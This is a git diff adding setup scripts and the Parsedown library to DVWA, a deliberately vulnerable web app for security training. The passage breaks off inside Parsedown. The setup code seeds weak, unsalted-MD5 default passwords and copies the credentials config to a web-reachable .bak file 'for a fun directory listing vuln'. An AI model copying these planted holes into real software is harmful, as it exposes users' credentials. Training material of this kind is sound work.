Database Error #" . mysqli_connect_errno() . ": " . mysqli_connect_error() . "." ); + if ($_DVWA[ 'db_user' ] == "root") { + dvwaMessagePush( 'Your database user is root, if you are using MariaDB, this will not work, please read the README.md file.' ); + } + dvwaPageReload(); +} + +// Create database +$drop_db = "DROP DATABASE IF EXISTS {$_DVWA[ 'db_database' ]};"; +if( !@mysqli_query($GLOBALS["___mysqli_ston"], $drop_db ) ) { + dvwaMessagePush( "Could not drop existing database
SQL: " . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) ); + dvwaPageReload(); +} + +$create_db = "CREATE DATABASE {$_DVWA[ 'db_database' ]};"; +if( !@mysqli_query($GLOBALS["___mysqli_ston"], $create_db ) ) { + dvwaMessagePush( "Could not create database
SQL: " . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) ); + dvwaPageReload(); +} +dvwaMessagePush( "Database has been created." ); + + +// Create table 'users' +if( !@((bool)mysqli_query($GLOBALS["___mysqli_ston"], "USE " . $_DVWA[ 'db_database' ])) ) { + dvwaMessagePush( 'Could not connect to database.' ); + dvwaPageReload(); +} + +$create_tb = "CREATE TABLE users (user_id int(6),first_name varchar(15),last_name varchar(15), user varchar(15), password varchar(32),avatar varchar(70), last_login TIMESTAMP, failed_login INT(3), PRIMARY KEY (user_id));"; +if( !mysqli_query($GLOBALS["___mysqli_ston"], $create_tb ) ) { + dvwaMessagePush( "Table could not be created
SQL: " . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) ); + dvwaPageReload(); +} +dvwaMessagePush( "'users' table was created." ); + + +// Insert some data into users +$base_dir= str_replace ("setup.php", "", $_SERVER['SCRIPT_NAME']); +$avatarUrl = $base_dir . 'hackable/users/'; + +$insert = "INSERT INTO users VALUES + ('1','admin','admin','admin',MD5('password'),'{$avatarUrl}admin.jpg', NOW(), '0'), + ('2','Gordon','Brown','gordonb',MD5('abc123'),'{$avatarUrl}gordonb.jpg', NOW(), '0'), + ('3','Hack','Me','1337',MD5('charley'),'{$avatarUrl}1337.jpg', NOW(), '0'), + ('4','Pablo','Picasso','pablo',MD5('letmein'),'{$avatarUrl}pablo.jpg', NOW(), '0'), + ('5','Bob','Smith','smithy',MD5('password'),'{$avatarUrl}smithy.jpg', NOW(), '0');"; +if( !mysqli_query($GLOBALS["___mysqli_ston"], $insert ) ) { + dvwaMessagePush( "Data could not be inserted into 'users' table
SQL: " . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) ); + dvwaPageReload(); +} +dvwaMessagePush( "Data inserted into 'users' table." ); + + +// Create guestbook table +$create_tb_guestbook = "CREATE TABLE guestbook (comment_id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT, comment varchar(300), name varchar(100), PRIMARY KEY (comment_id));"; +if( !mysqli_query($GLOBALS["___mysqli_ston"], $create_tb_guestbook ) ) { + dvwaMessagePush( "Table could not be created
SQL: " . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) ); + dvwaPageReload(); +} +dvwaMessagePush( "'guestbook' table was created." ); + + +// Insert data into 'guestbook' +$insert = "INSERT INTO guestbook VALUES ('1','This is a test comment.','test');"; +if( !mysqli_query($GLOBALS["___mysqli_ston"], $insert ) ) { + dvwaMessagePush( "Data could not be inserted into 'guestbook' table
SQL: " . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) ); + dvwaPageReload(); +} +dvwaMessagePush( "Data inserted into 'guestbook' table." ); + + + + +// Copy .bak for a fun directory listing vuln +$conf = DVWA_WEB_PAGE_TO_ROOT . 'config/config.inc.php'; +$bakconf = DVWA_WEB_PAGE_TO_ROOT . 'config/config.inc.php.bak'; +if (file_exists($conf)) { + // Who cares if it fails. Suppress. + @copy($conf, $bakconf); +} + +dvwaMessagePush( "Backup file /config/config.inc.php.bak automatically created" ); + +// Done +dvwaMessagePush( "Setup successful!" ); + +if( !dvwaIsLoggedIn()) + dvwaMessagePush( "Please login." ); +dvwaPageReload(); + +?> diff --git a/DVWA/dvwa/includes/DBMS/PGSQL.php b/DVWA/dvwa/includes/DBMS/PGSQL.php new file mode 100644 index 00000000..a50d4c37 --- /dev/null +++ b/DVWA/dvwa/includes/DBMS/PGSQL.php @@ -0,0 +1,105 @@ +Please check the config file." ); + dvwaPageReload(); +} + +// Create database +$drop_db = "DROP DATABASE IF EXISTS {$_DVWA[ 'db_database' ]};"; + +if( !@pg_query($drop_db) ) { + dvwaMessagePush( "Could not drop existing database
SQL: " . pg_last_error() ); + dvwaPageReload(); +} + +$create_db = "CREATE DATABASE {$_DVWA[ 'db_database' ]};"; + +if( !@pg_query ( $create_db ) ) { + dvwaMessagePush( "Could not create database
SQL: " . pg_last_error() ); + dvwaPageReload(); +} + +dvwaMessagePush( "Database has been created." ); + + +// Connect to server AND connect to the database +$dbconn = @pg_connect("host={$_DVWA[ 'db_server' ]} port={$_DVWA[ 'db_port' ]} dbname={$_DVWA[ 'db_database' ]} user={$_DVWA[ 'db_user' ]} password={$_DVWA[ 'db_password' ]}"); + + +// Create table 'users' + +$drop_table = "DROP TABLE IF EXISTS users;"; + +if( !pg_query($drop_table) ) { + dvwaMessagePush( "Could not drop existing users table
SQL: " . pg_last_error() ); + dvwaPageReload(); +} + +$create_tb = "CREATE TABLE users (user_id integer UNIQUE, first_name text, last_name text, username text, password text, avatar text, PRIMARY KEY (user_id));"; + +if( !pg_query( $create_tb ) ) { + dvwaMessagePush( "Table could not be created
SQL: " . pg_last_error() ); + dvwaPageReload(); +} + +dvwaMessagePush( "'users' table was created." ); + +// Get the base directory for the avatar media... +$baseUrl = 'http://'.$_SERVER[ 'SERVER_NAME' ].$_SERVER[ 'PHP_SELF' ]; +$stripPos = strpos( $baseUrl, 'dvwa/setup.php' ); +$baseUrl = substr( $baseUrl, 0, $stripPos ).'dvwa/hackable/users/'; + +$insert = "INSERT INTO users VALUES + ('1','admin','admin','admin',MD5('password'),'{$baseUrl}admin.jpg'), + ('2','Gordon','Brown','gordonb',MD5('abc123'),'{$baseUrl}gordonb.jpg'), + ('3','Hack','Me','1337',MD5('charley'),'{$baseUrl}1337.jpg'), + ('4','Pablo','Picasso','pablo',MD5('letmein'),'{$baseUrl}pablo.jpg'), + ('5','bob','smith','smithy',MD5('password'),'{$baseUrl}smithy.jpg');"; +if( !pg_query( $insert ) ) { + dvwaMessagePush( "Data could not be inserted into 'users' table
SQL: " . pg_last_error() ); + dvwaPageReload(); +} + +dvwaMessagePush( "Data inserted into 'users' table." ); + +// Create guestbook table + +$drop_table = "DROP table IF EXISTS guestbook;"; + +if( !@pg_query($drop_table) ) { + dvwaMessagePush( "Could not drop existing users table
SQL: " . pg_last_error() ); + dvwaPageReload(); +} + +$create_tb_guestbook = "CREATE TABLE guestbook (comment text, name text, comment_id SERIAL PRIMARY KEY);"; + +if( !pg_query( $create_tb_guestbook ) ) { + dvwaMessagePush( "guestbook table could not be created
SQL: " . pg_last_error() ); + dvwaPageReload(); +} + +dvwaMessagePush( "'guestbook' table was created." ); + +// Insert data into 'guestbook' +$insert = "INSERT INTO guestbook (comment, name) VALUES('This is a test comment.','admin')"; + +if( !pg_query( $insert ) ) { + dvwaMessagePush( "Data could not be inserted into 'guestbook' table
SQL: " . pg_last_error() ); + dvwaPageReload(); +} +dvwaMessagePush( "Data inserted into 'guestbook' table." ); + +dvwaMessagePush( "Setup successful!" ); +dvwaPageReload(); + +pg_close($dbconn); + +?> diff --git a/DVWA/dvwa/includes/Parsedown.php b/DVWA/dvwa/includes/Parsedown.php new file mode 100644 index 00000000..ae0cbdec --- /dev/null +++ b/DVWA/dvwa/includes/Parsedown.php @@ -0,0 +1,1994 @@ +textElements($text); + + # convert to markup + $markup = $this->elements($Elements); + + # trim line breaks + $markup = trim($markup, "\n"); + + return $markup; + } + + protected function textElements($text) + { + # make sure no definitions are set + $this->DefinitionData = array(); + + # standardize line breaks + $text = str_replace(array("\r\n", "\r"), "\n", $text); + + # remove surrounding line breaks + $text = trim($text, "\n"); + + # split text into lines + $lines = explode("\n", $text); + + # iterate through lines to identify blocks + return $this->linesElements($lines); + } + + # + # Setters + # + + function setBreaksEnabled($breaksEnabled) + { + $this->breaksEnabled = $breaksEnabled; + + return $this; + } + + protected $breaksEnabled; + + function setMarkupEscaped($markupEscaped) + { + $this->markupEscaped = $markupEscaped; + + return $this; + } + + protected $markupEscaped; + + function setUrlsLinked($urlsLinked) + { + $this->urlsLinked = $urlsLinked; + + return $this; + } + + protected $urlsLinked = true; + + function setSafeMode($safeMode) + { + $this->safeMode = (bool) $safeMode; + + return $this; + } + + protected $safeMode; + + function setStrictMode($strictMode) + { + $this->strictMode = (bool) $strictMode; + + return $this; + } + + protected $strictMode; + + protected $safeLinksWhitelist = array( + 'http://', + 'https://', + 'ftp://', + 'ftps://', + 'mailto:', + 'tel:', + 'data:image/png;base64,', + 'data:image/gif;base64,', + 'data:image/jpeg;base64,', + 'irc:', + 'ircs:', + 'git:', + 'ssh:', + 'news:', + 'steam:', + ); + + # + # Lines + # + + protected $BlockTypes = array( + '#' => array('Header'), + '*' => array('Rule', 'List'), + '+' => array('List'), + '-' => array('SetextHeader', 'Table', 'Rule', 'List'), + '0' => array('List'), + '1' => array('List'), + '2' => array('List'), + '3' => array('List'), + '4' => array('List'), + '5' => array('List'), + '6' => array('List'), + '7' => array('List'), + '8' => array('List'), + '9' => array('List'), + ':' => array('Table'), + '<' => array('Comment', 'Markup'), + '=' => array('SetextHeader'), + '>' => array('Quote'), + '[' => array('Reference'), + '_' => array('Rule'), + '`' => array('FencedCode'), + '|' => array('Table'), + '~' => array('FencedCode'), + ); + + # ~ + + protected $unmarkedBlockTypes = array( + 'Code', + ); + + # + # Blocks + # + + protected function lines(array $lines) + { + return $this->elements($this->linesElements($lines)); + } + + protected function linesElements(array $lines) + { + $Elements = array(); + $CurrentBlock = null; + + foreach ($lines as $line) + { + if (chop($line) === '') + { + if (isset($CurrentBlock)) + { + $CurrentBlock['interrupted'] = (isset($CurrentBlock['interrupted']) + ? $CurrentBlock['interrupted'] + 1 : 1 + ); + } + + continue; + } + + while (($beforeTab = strstr($line, "\t", true)) !== false) + { + $shortage = 4 - mb_strlen($beforeTab, 'utf-8') % 4; + + $line = $beforeTab + . str_repeat(' ', $shortage) + . substr($line, strlen($beforeTab) + 1) + ; + } + + $indent = strspn($line, ' '); + + $text = $indent > 0 ? substr($line, $indent) : $line; + + # ~ + + $Line = array('body' => $line, 'indent' => $indent, 'text' => $text); + + # ~ + + if (isset($CurrentBlock['continuable'])) + { + $methodName = 'block' . $CurrentBlock['type'] . 'Continue'; + $Block = $this->$methodName($Line, $CurrentBlock); + + if (isset($Block)) + { + $CurrentBlock = $Block; + + continue; + } + else + { + if ($this->isBlockCompletable($CurrentBlock['type'])) + { + $methodName = 'block' . $CurrentBlock['type'] . 'Complete'; + $CurrentBlock = $this->$methodName($CurrentBlock); + } + } + } + + # ~ + + $marker = $text[0]; + + # ~ + + $blockTypes = $this->unmarkedBlockTypes; + + if (isset($this->BlockTypes[$marker])) + { + foreach ($this->BlockTypes[$marker] as $blockType) + { + $blockTypes []= $blockType; + } + } + + # + # ~ + + foreach ($blockTypes as $blockType) + { + $Block = $this->{"block$blockType"}($Line, $CurrentBlock); + + if (isset($Block)) + { + $Block['type'] = $blockType; + + if ( ! isset($Block['identified'])) + { + if (isset($CurrentBlock)) + { + $Elements[] = $this->extractElement($CurrentBlock); + } + + $Block['identified'] = true; + } + + if ($this->isBlockContinuable($blockType)) + { + $Block['continuable'] = true; + } + + $CurrentBlock = $Block; + + continue 2; + } + } + + # ~ + + if (isset($CurrentBlock) and $CurrentBlock['type'] === 'Paragraph') + { + $Block = $this->paragraphContinue($Line, $CurrentBlock); + } + + if (isset($Block)) + { + $CurrentBlock = $Block; + } + else + { + if (isset($CurrentBlock)) + { + $Elements[] = $this->extractElement($CurrentBlock); + } + + $CurrentBlock = $this->paragraph($Line); + + $CurrentBlock['identified'] = true; + } + } + + # ~ + + if (isset($CurrentBlock['continuable']) and $this->isBlockCompletable($CurrentBlock['type'])) + { + $methodName = 'block' . $CurrentBlock['type'] . 'Complete'; + $CurrentBlock = $this->$methodName($CurrentBlock); + } + + # ~ + + if (isset($CurrentBlock)) + { + $Elements[] = $this->extractElement($CurrentBlock); + } + + # ~ + + return $Elements; + } + + protected function extractElement(array $Component) + { + if ( ! isset($Component['element'])) + { + if (isset($Component['markup'])) + { + $Component['element'] = array('rawHtml' => $Component['markup']); + } + elseif (isset($Component['hidden'])) + { + $Component['element'] = array(); + } + } + + return $Component['element']; + } + + protected function isBlockContinuable($Type) + { + return method_exists($this, 'block' . $Type . 'Continue'); + } + + protected function isBlockCompletable($Type) + { + return method_exists($this, 'block' . $Type . 'Complete'); + } + + # + # Code + + protected function blockCode($Line, $Block = null) + { + if (isset($Block) and $Block['type'] === 'Paragraph' and ! isset($Block['interrupted'])) + { + return; + } + + if ($Line['indent'] >= 4) + { + $text = substr($Line['body'], 4); + + $Block = array( + 'element' => array( + 'name' => 'pre', + 'element' => array( + 'name' => 'code', + 'text' => $text, + ), + ), + ); + + return $Block; + } + } + + protected function blockCodeContinue($Line, $Block) + { + if ($Line['indent'] >= 4) + { + if (isset($Block['interrupted'])) + { + $Block['element']['element']['text'] .= str_repeat("\n", $Block['interrupted']); + + unset($Block['interrupted']); + } + + $Block['element']['element']['text'] .= "\n"; + + $text = substr($Line['body'], 4); + + $Block['element']['element']['text'] .= $text; + + return $Block; + } + } + + protected function blockCodeComplete($Block) + { + return $Block; + } + + # + # Comment + + protected function blockComment($Line) + { + if ($this->markupEscaped or $this->safeMode) + { + return; + } + + if (strpos($Line['text'], '') !== false) + { + $Block['closed'] = true; + } + + return $Block; + } + } + + protected function blockCommentContinue($Line, array $Block) + { + if (isset($Block['closed'])) + { + return; + } + + $Block['element']['rawHtml'] .= "\n" . $Line['body']; + + if (strpos($Line['text'], '-->') !== false) + { + $Block['closed'] = true; + } + + return $Block; + } + + # + # Fenced Code + + protected function blockFencedCode($Line) + { + $marker = $Line['text'][0]; + + $openerLength = strspn($Line['text'], $marker); + + if ($openerLength < 3) + { + return; + } + + $infostring = trim(substr($Line['text'], $openerLength), "\t "); + + if (strpos($infostring, '`') !== false) + { + return; + } + + $Element = array( + 'name' => 'code', + 'text' => '', + ); + + if ($infostring !== '') + { + /** + * https://www.w3.org/TR/2011/WD-html5-20110525/elements.html#classes + * Every HTML element may have a class attribute specified. + * The attribute, if specified, must have a value that is a set + * of space-separated tokens representing the various classes + * that the element belongs to. + * [...] + * The space characters, for the purposes of this specification, + * are U+0020 SPACE, U+0009 CHARACTER TABULATION (tab), + * U+000A LINE FEED (LF), U+000C FORM FEED (FF), and + * U+000D CARRIAGE RETURN (CR). + */ + $language = substr($infostring, 0, strcspn($infostring, " \t\n\f\r")); + + $Element['attributes'] = array('class' => "language-$language"); + } + + $Block = array( + 'char' => $marker, + 'openerLength' => $openerLength, + 'element' => array( + 'name' => 'pre', + 'element' => $Element, + ), + ); + + return $Block; + } + + protected function blockFencedCodeContinue($Line, $Block) + { + if (isset($Block['complete'])) + { + return; + } + + if (isset($Block['interrupted'])) + { + $Block['element']['element']['text'] .= str_repeat("\n", $Block['interrupted']); + + unset($Block['interrupted']); + } + + if (($len = strspn($Line['text'], $Block['char'])) >= $Block['openerLength'] + and chop(substr($Line['text'], $len), ' ') === '' + ) { + $Block['element']['element']['text'] = substr($Block['element']['element']['text'], 1); + + $Block['complete'] = true; + + return $Block; + } + + $Block['element']['element']['text'] .= "\n" . $Line['body']; + + return $Block; + } + + protected function blockFencedCodeComplete($Block) + { + return $Block; + } + + # + # Header + + protected function blockHeader($Line) + { + $level = strspn($Line['text'], '#'); + + if ($level > 6) + { + return; + } + + $text = trim($Line['text'], '#'); + + if ($this->strictMode and isset($text[0]) and $text[0] !== ' ') + { + return; + } + + $text = trim($text, ' '); + + $Block = array( + 'element' => array( + 'name' => 'h' . $level, + 'handler' => array( + 'function' => 'lineElements', + 'argument' => $text, + 'destination' => 'elements', + ) + ), + ); + + return $Block; + } + + # + # List + + protected function blockList($Line, array $CurrentBlock = null) + { + list($name, $pattern) = $Line['text'][0] <= '-' ? array('ul', '[*+-]') : array('ol', '[0-9]{1,9}+[.\)]'); + + if (preg_match('/^('.$pattern.'([ ]++|$))(.*+)/', $Line['text'], $matches)) + { + $contentIndent = strlen($matches[2]); + + if ($contentIndent >= 5) + { + $contentIndent -= 1; + $matches[1] = substr($matches[1], 0, -$contentIndent); + $matches[3] = str_repeat(' ', $contentIndent) . $matches[3]; + } + elseif ($contentIndent === 0) + { + $matches[1] .= ' '; + } + + $markerWithoutWhitespace = strstr($matches[1], ' ', true); + + $Block = array( + 'indent' => $Line['indent'], + 'pattern' => $pattern, + 'data' => array( + 'type' => $name, + 'marker' => $matches[1], + 'markerType' => ($name === 'ul' ? $markerWithoutWhitespace : substr($markerWithoutWhitespace, -1)), + ), + 'element' => array( + 'name' => $name, + 'elements' => array(), + ), + ); + $Block['data']['markerTypeRegex'] = preg_quote($Block['data']['markerType'], '/'); + + if ($name === 'ol') + { + $listStart = ltrim(strstr($matches[1], $Block['data']['markerType'], true), '0') ?: '0'; + + if ($listStart !== '1') + { + if ( + isset($CurrentBlock) + and $CurrentBlock['type'] === 'Paragraph' + and ! isset($CurrentBlock['interrupted']) + ) { + return; + } + + $Block['element']['attributes'] = array('start' => $listStart); + } + } + + $Block['li'] = array( + 'name' => 'li', + 'handler' => array( + 'function' => 'li', + 'argument' => !empty($matches[3]) ? array($matches[3]) : array(), + 'destination' => 'elements' + ) + ); + + $Block['element']['elements'] []= & $Block['li']; + + return $Block; + } + } + + protected function blockListContinue($Line, array $Block) + { + if (isset($Block['interrupted']) and empty($Block['li']['handler']['argument'])) + { + return null; + } + + $requiredIndent = ($Block['indent'] + strlen($Block['data']['marker'])); + + if ($Line['indent'] < $requiredIndent + and ( + ( + $Block['data']['type'] === 'ol' + and preg_match('/^[0-9]++'.$Block['data']['markerTypeRegex'].'(?:[ ]++(.*)|$)/', $Line['text'], $matches) + ) or ( + $Block['data']['type'] === 'ul' + and preg_match('/^'.$Block['data']['markerTypeRegex'].'(?:[ ]++(.*)|$)/', $Line['text'], $matches) + ) + ) + ) { + if (isset($Block['interrupted'])) + { + $Block['li']['handler']['argument'] []= ''; + + $Block['loose'] = true; + + unset($Block['interrupted']); + } + + unset($Block['li']); + + $text = isset($matches[1]) ? $matches[1] : ''; + + $Block['indent'] = $Line['indent']; + + $Block['li'] = array( + 'name' => 'li', + 'handler' => array( + 'function' => 'li', + 'argument' => array($text), + 'destination' => 'elements' + ) + ); + + $Block['element']['elements'] []= & $Block['li']; + + return $Block; + } + elseif ($Line['indent'] < $requiredIndent and $this->blockList($Line)) + { + return null; + } + + if ($Line['text'][0] === '[' and $this->blockReference($Line)) + { + return $Block; + } + + if ($Line['indent'] >= $requiredIndent) + { + if (isset($Block['interrupted'])) + { + $Block['li']['handler']['argument'] []= ''; + + $Block['loose'] = true; + + unset($Block['interrupted']); + } + + $text = substr($Line['body'], $requiredIndent); + + $Block['li']['handler']['argument'] []= $text; + + return $Block; + } + + if ( ! isset($Block['interrupted'])) + { + $text = preg_replace('/^[ ]{0,'.$requiredIndent.'}+/', '', $Line['body']); + + $Block['li']['handler']['argument'] []= $text; + + return $Block; + } + } + + protected function blockListComplete(array $Block) + { + if (isset($Block['loose'])) + { + foreach ($Block['element']['elements'] as &$li) + { + if (end($li['handler']['argument']) !== '') + { + $li['handler']['argument'] []= ''; + } + } + } + + return $Block; + } + + # + # Quote + + protected function blockQuote($Line) + { + if (preg_match('/^>[ ]?+(.*+)/', $Line['text'], $matches)) + { + $Block = array( + 'element' => array( + 'name' => 'blockquote', + 'handler' => array( + 'function' => 'linesElements', + 'argument' => (array) $matches[1], + 'destination' => 'elements', + ) + ), + ); + + return $Block; + } + } + + protected function blockQuoteContinue($Line, array $Block) + { + if (isset($Block['interrupted'])) + { + return; + } + + if ($Line['text'][0] === '>' and preg_match('/^>[ ]?+(.*+)/', $Line['text'], $matches)) + { + $Block['element']['handler']['argument'] []= $matches[1]; + + return $Block; + } + + if ( ! isset($Block['interrupted'])) + { + $Block['element']['handler']['argument'] []= $Line['text']; + + return $Block; + } + } + + # + # Rule + + protected function blockRule($Line) + { + $marker = $Line['text'][0]; + + if (substr_count($Line['text'], $marker) >= 3 and chop($Line['text'], " $marker") === '') + { + $Block = array( + 'element' => array( + 'name' => 'hr', + ), + ); + + return $Block; + } + } + + # + # Setext + + protected function blockSetextHeader($Line, array $Block = null) + { + if ( ! isset($Block) or $Block['type'] !== 'Paragraph' or isset($Block['interrupted'])) + { + return; + } + + if ($Line['indent'] < 4 and chop(chop($Line['text'], ' '), $Line['text'][0]) === '') + { + $Block['element']['name'] = $Line['text'][0] === '=' ? 'h1' : 'h2'; + + return $Block; + } + } + + # + # Markup + + protected function blockMarkup($Line) + { + if ($this->markupEscaped or $this->safeMode) + { + return; + } + + if (preg_match('/^<[\/]?+(\w*)(?:[ ]*+'.$this->regexHtmlAttribute.')*+[ ]*+(\/)?>/', $Line['text'], $matches)) + { + $element = strtolower($matches[1]); + + if (in_array($element, $this->textLevelElements)) + { + return; + } + + $Block = array( + 'name' => $matches[1], + 'element' => array( + 'rawHtml' => $Line['text'], + 'autobreak' => true, + ), + ); + + return $Block; + } + } + + protected function blockMarkupContinue($Line, array $Block) + { + if (isset($Block['closed']) or isset($Block['interrupted'])) + { + return; + } + + $Block['element']['rawHtml'] .= "\n" . $Line['body']; + + return $Block; + } + + # + # Reference + + protected function blockReference($Line) + { + if (strpos($Line['text'], ']') !== false + and preg_match('/^\[(.+?)\]:[ ]*+?(?:[ ]+["\'(](.+)["\')])?[ ]*+$/', $Line['text'], $matches) + ) { + $id = strtolower($matches[1]); + + $Data = array( + 'url' => $matches[2], + 'title' => isset($matches[3]) ? $matches[3] : null, + ); + + $this->DefinitionData['Reference'][$id] = $Data; + + $Block = array( + 'element' => array(), + ); + + return $Block; + } + } + + # + # Table + + protected function blockTable($Line, array $Block = null) + { + if ( ! isset($Block) or $Block['type'] !== 'Paragraph' or isset($Block['interrupted'])) + { + return; + } + + if ( + strpos($Block['element']['handler']['argument'], '|') === false + and strpos($Line['text'], '|') === false + and strpos($Line['text'], ':') === false + or strpos($Block['element']['handler']['argument'], "\n") !== false + ) { + return; + } + + if (chop($Line['text'], ' -:|') !== '') + { + return; + } + + $alignments = array(); + + $divider = $Line['text']; + + $divider = trim($divider); + $divider = trim($divider, '|'); + + $dividerCells = explode('|', $divider); + + foreach ($dividerCells as $dividerCell) + { + $dividerCell = trim($dividerCell); + + if ($dividerCell === '') + { + return; + } + + $alignment = null; + + if ($dividerCell[0] === ':') + { + $alignment = 'left'; + } + + if (substr($dividerCell, - 1) === ':') + { + $alignment = $alignment === 'left' ? 'center' : 'right'; + } + + $alignments []= $alignment; + } + + # ~ + + $HeaderElements = array(); + + $header = $Block['element']['handler']['argument']; + + $header = trim($header); + $header = trim($header, '|'); + + $headerCells = explode('|', $header); + + if (count($headerCells) !== count($alignments)) + { + return; + } + + foreach ($headerCells as $index => $headerCell) + { + $headerCell = trim($headerCell); + + $HeaderElement = array( + 'name' => 'th', + 'handler' => array( + 'function' => 'lineElements', + 'argument' => $headerCell, + 'destination' => 'elements', + ) + ); + + if (isset($alignments[$index])) + { + $alignment = $alignments[$index]; + + $HeaderElement['attributes'] = array( + 'style' => "text-align: $alignment;", + ); + } + + $HeaderElements []= $HeaderElement; + } + + # ~ + + $Block = array( + 'alignments' => $alignments, + 'identified' => true, + 'element' => array( + 'name' => 'table', + 'elements' => array(), + ), + ); + + $Block['element']['elements'] []= array( + 'name' => 'thead', + ); + + $Block['element']['elements'] []= array( + 'name' => 'tbody', + 'elements' => array(), + ); + + $Block['element']['elements'][0]['elements'] []= array( + 'name' => 'tr', + 'elements' => $HeaderElements, + ); + + return $Block; + } + + protected function blockTableContinue($Line, array $Block) + { + if (isset($Block['interrupted'])) + { + return; + } + + if (count($Block['alignments']) === 1 or $Line['text'][0] === '|' or strpos($Line['text'], '|')) + { + $Elements = array(); + + $row = $Line['text']; + + $row = trim($row); + $row = trim($row, '|'); + + preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]++`|`)++/', $row, $matches); + + $cells = array_slice($matches[0], 0, count($Block['alignments'])); + + foreach ($cells as $index => $cell) + { + $cell = trim($cell); + + $Element = array( + 'name' => 'td', + 'handler' => array( + 'function' => 'lineElements', + 'argument' => $cell, + 'destination' => 'elements', + ) + ); + + if (isset($Block['alignments'][$index])) + { + $Element['attributes'] = array( + 'style' => 'text-align: ' . $Block['alignments'][$index] . ';', + ); + } + + $Elements []= $Element; + } + + $Element = array( + 'name' => 'tr', + 'elements' => $Elements, + ); + + $Block['element']['elements'][1]['elements'] []= $Element; + + return $Block; + } + } + + # + # ~ + # + + protected function paragraph($Line) + { + return array( + 'type' => 'Paragraph', + 'element' => array( + 'name' => 'p', + 'handler' => array( + 'function' => 'lineElements', + 'argument' => $Line['text'], + 'destination' => 'elements', + ), + ), + ); + } + + protected function paragraphContinue($Line, array $Block) + { + if (isset($Block['interrupted'])) + { + return; + } + + $Block['element']['handler']['argument'] .= "\n".$Line['text']; + + return $Block; + } + + # + # Inline Elements + # + + protected $InlineTypes = array( + '!' => array('Image'), + '&' => array('SpecialCharacter'), + '*' => array('Emphasis'), + ':' => array('Url'), + '<' => array('UrlTag', 'EmailTag', 'Markup'), + '[' => array('Link'), + '_' => array('Emphasis'), + '`' => array('Code'), + '~' => array('Strikethrough'), + '\\' => array('EscapeSequence'), + ); + + # ~ + + protected $inlineMarkerList = '!*_&[:<`~\\'; + + # + # ~ + # + + public function line($text, $nonNestables = array()) + { + return $this->elements($this->lineElements($text, $nonNestables)); + } + + protected function lineElements($text, $nonNestables = array()) + { + # standardize line breaks + $text = str_replace(array("\r\n", "\r"), "\n", $text); + + $Elements = array(); + + $nonNestables = (empty($nonNestables) + ? array() + : array_combine($nonNestables, $nonNestables) + ); + + # $excerpt is based on the first occurrence of a marker + + while ($excerpt = strpbrk($text, $this->inlineMarkerList)) + { + $marker = $excerpt[0]; + + $markerPosition = strlen($text) - strlen($excerpt); + + $Excerpt = array('text' => $excerpt, 'context' => $text); + + foreach ($this->InlineTypes[$marker] as $inlineType) + { + # check to see if the current inline type is nestable in the current context + + if (isset($nonNestables[$inlineType])) + { + continue; + } + + $Inline = $this->{"inline$inlineType"}($Excerpt); + + if ( ! isset($Inline)) + { + continue; + } + + # makes sure that the inline belongs to "our" marker + + if (isset($Inline['position']) and $Inline['position'] > $markerPosition) + { + continue; + } + + # sets a default inline position + + if ( ! isset($Inline['position'])) + { + $Inline['position'] = $markerPosition; + } + + # cause the new element to 'inherit' our non nestables + + + $Inline['element']['nonNestables'] = isset($Inline['element']['nonNestables']) + ? array_merge($Inline['element']['nonNestables'], $nonNestables) + : $nonNestables + ; + + # the text that comes before the inline + $unmarkedText = substr($text, 0, $Inline['position']); + + # compile the unmarked text + $InlineText = $this->inlineText($unmarkedText); + $Elements[] = $InlineText['element']; + + # compile the inline + $Elements[] = $this->extractElement($Inline); + + # remove the examined text + $text = substr($text, $Inline['position'] + $Inline['extent']); + + continue 2; + } + + # the marker does not belong to an inline + + $unmarkedText = substr($text, 0, $markerPosition + 1); + + $InlineText = $this->inlineText($unmarkedText); + $Elements[] = $InlineText['element']; + + $text = substr($text, $markerPosition + 1); + } + + $InlineText = $this->inlineText($text); + $Elements[] = $InlineText['element']; + + foreach ($Elements as &$Element) + { + if ( ! isset($Element['autobreak'])) + { + $Element['autobreak'] = false; + } + } + + return $Elements; + } + + # + # ~ + # + + protected function inlineText($text) + { + $Inline = array( + 'extent' => strlen($text), + 'element' => array(), + ); + + $Inline['element']['elements'] = self::pregReplaceElements( + $this->breaksEnabled ? '/[ ]*+\n/' : '/(?:[ ]*+\\\\|[ ]{2,}+)\n/', + array( + array('name' => 'br'), + array('text' => "\n"), + ), + $text + ); + + return $Inline; + } + + protected function inlineCode($Excerpt) + { + $marker = $Excerpt['text'][0]; + + if (preg_match('/^(['.$marker.']++)[ ]*+(.+?)[ ]*+(? strlen($matches[0]), + 'element' => array( + 'name' => 'code', + 'text' => $text, + ), + ); + } + } + + protected function inlineEmailTag($Excerpt) + { + $hostnameLabel = '[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?'; + + $commonMarkEmail = '[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]++@' + . $hostnameLabel . '(?:\.' . $hostnameLabel . ')*'; + + if (strpos($Excerpt['text'], '>') !== false + and preg_match("/^<((mailto:)?$commonMarkEmail)>/i", $Excerpt['text'], $matches) + ){ + $url = $matches[1]; + + if ( ! isset($matches[2])) + { + $url = "mailto:$url"; + } + + return array( + 'extent' => strlen($matches[0]), + 'element' => array( + 'name' => 'a', + 'text' => $matches[1], + 'attributes' => array( + 'href' => $url, + ), + ), + ); + } + } + + protected function inlineEmphasis($Excerpt) + { + if ( ! isset($Excerpt['text'][1])) + { + return; + } + + $marker = 